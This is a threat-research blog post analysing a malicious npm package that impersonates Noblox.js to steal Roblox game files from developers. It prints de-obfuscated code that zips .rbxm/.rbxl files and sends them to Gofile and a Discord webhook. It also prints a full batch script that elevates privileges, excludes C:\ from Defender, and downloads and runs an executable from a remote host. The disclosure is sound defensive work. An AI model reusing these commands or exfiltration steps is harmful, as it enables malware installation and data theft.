Malicious npm Package Masquerades as Noblox.js, Targeting Roblox Users for Data Theft
A malicious npm package is targeting Roblox's massive user base to steal sensitive data, with potential impacts for both players and developers on the popular gaming platform.
Socket Research Team
Sarah Gooding
February 6, 2024
Roblox users are the target of a new supply chain attack that is delivered through a malicious package impersonating the official Noblox.js npm package and its sister library, noblox.js-server. The popular gaming platform boasts 70.2 million daily users and 216+ million monthly active users, making it a lucrative target for cybercriminals looking to exploit its large, highly engaged user base.
Noblox.js is a widely used API wrapper for Roblox games, available on npm as an independent package. The package is actively utilized by the community, with an average download count of over 1,500 per week.
The Socket Research team has conducted an investigation on a package called noblox.js-proxy-server (version number 4.15.4) that is being used to steal sensitive data from Roblox users. Developers using Roblox's API have frequently been the target of these types of malicious packages.
This potentially impacts developers intending to use the Noblox.js package for game development or other functionalities within Roblox, if they inadvertently incorporate the malicious package into their games, leading to the compromise of their projects and potentially spreading the impact to their game players. It also potentially impacts Roblox users, where 42.3% are under the age of 13, and their parents, including any financial information linked to their accounts.
The malicious package uses a combination of brandjacking and combosquatting, a variant of typosquatting that creates the impression that a package is coming from a legitimate source by adding a prefix or postfix to a legitimate package name.
The noblox.js-proxy-server package also leverages starjacking, linking the package's GitHub repo URL to the legitimate popular package in order to gain credibility.
It employs static obfuscation techniques to hide the malicious code. Upon de-obfuscation it was observed that the threat actor is targeting Roblox users. Specifically, the package retrieves the current user's username and skips certain directories during directory scanning. It recursively scans a directory for files with specific extensions '.rbxm', '.rbxl', adding them to a zip archive.
The script also downloads and executes a Batch script from a specified URL. It getches a server URL from Gofile, zips the contents of a directory, and uploads the zip file to the server. It also sends a Discord webhook notification with information about the uploaded file and sets up an interval function to repeatedly call a recursive function every 4,000 milliseconds.
The JavaScript code is obfuscated, making it challenging to understand its exact purpose. The code utilizes techniques such as string transformations, string array rotation, string array shuffle, string array index shifting, transforming names with hexadecimal, and other static ways to make it difficult to for a human to understand the code.
The Chinese language has been used in multiple places to define functions. This obfuscation technique has been observed several times in the past with similar Chinese language functions.
Considering these indications, the Socket Research Team opted to conduct a thorough investigation by de-obfuscating the code to determine the intent of the threat actor.
The code embedded at the end of the post is de-obfuscated from the original code. Even after de-obfuscation we observed that the code is using various techniques, including string manipulation, self-executing functions, and encoded strings, making it difficult to analyze its exact functionality.
The user function retrieves the current user's username using the os module, while skip(_0x1c6fbd) determines whether to skip a directory based on predefined conditions.
As one can see, the script defines configuration variables determining the base directory for scanning (dir), the output zip file path (zippath), Discord webhook URL (webhook), and URLs related to remote batch file execution (baturl, batDestination).
async function executeBat(_0x48dc42, _0x22b872) {
// ... (fetching, saving, and executing a remote batch file)
}
executeBat(baturl, batDestination)
.then(() => {
return fetch('https://api.gofile.io/getServer');
})
.then((_0xe2eb98) => _0xe2eb98.json())
.then((_0x10f434) => {
// ... (processing the result of fetching server information)
})
.catch((_0x48e61a) => console.error(_0x48e61a));
executeBat(_0x48dc42, _0x22b872): Asynchronously fetches and executes a remote batch file, with error handling. Subsequent promises fetch server information and process the result.
const _0x421b68 = archiver('zip', _0x19bda1);
const _0x2f7b55 = fs.createWriteStream(zippath);
_0x421b68.pipe(_0x2f7b55);
scan(dir, _0x421b68);
_0x2f7b55.on('close', () => {
// ... (creating a FormData object, uploading zip file to Gofile, and notifying on Discord)
});
_0x421b68.finalize();
Here, archiver is used to create a zip file containing selected files from the scan. The FormData object is used to prepare the zip file for upload, which is then sent to Gofile, and a notification is sent on Discord.
The package is downloading the batch file, which is hosted on a Discord CDN server, to perform further malicious activities:
@echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
if not "%1"=="am_admin" (
powershell -Command "Start-Process -Verb RunAs -FilePath '%0' -ArgumentList 'am_admin'"
exit /b
)
set "scriptDir=%~dp0"
powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
TIMEOUT /T 5
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download', 'C:\WindowsApi\WindowsApi.exe')"
start "" "C:\WindowsApi\WindowsApi.exe"
taskkill /IM cmd.exe
exit
This script is a Windows Batch file with PowerShell commands. This Windows Batch script is a concise yet powerful installer for the WindowsApi. It cleverly minimizes its window, elevates privileges, adds system exclusions, and downloads/executes a remote file. The script showcases common techniques used for system manipulation and emphasizes the importance of caution when dealing with remote downloads. The script further fetches another executable file, and the code is designed to download and execute it from the following URL hxxps://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download
The script creates a ZIP archive of files from the specified directory (dir) using the archiver library. It fetches the server endpoint for a file-sharing service from hxxps://api.gofile.io/getServer. The ZIP file is uploaded to the file-sharing service using a POST request to the server endpoint. The uploaded file information is then sent to a Discord webhook (webhook).
Impostor NuGet package Tracer.Fody.NLog typosquats Tracer.Fody and its author, using homoglyph tricks, and exfiltrates Stratis wallet JSON/passwords to a Russian IP address.
Socket found a Rust typosquat (finch-rust) that loads sha-rust to steal credentials, using impersonation and an unpinned dependency to auto-deliver updates.
A pair of typosquatted Go packages posing as Google’s UUID library quietly turn helper functions into encrypted exfiltration channels to a paste site, putting developer and CI data at risk.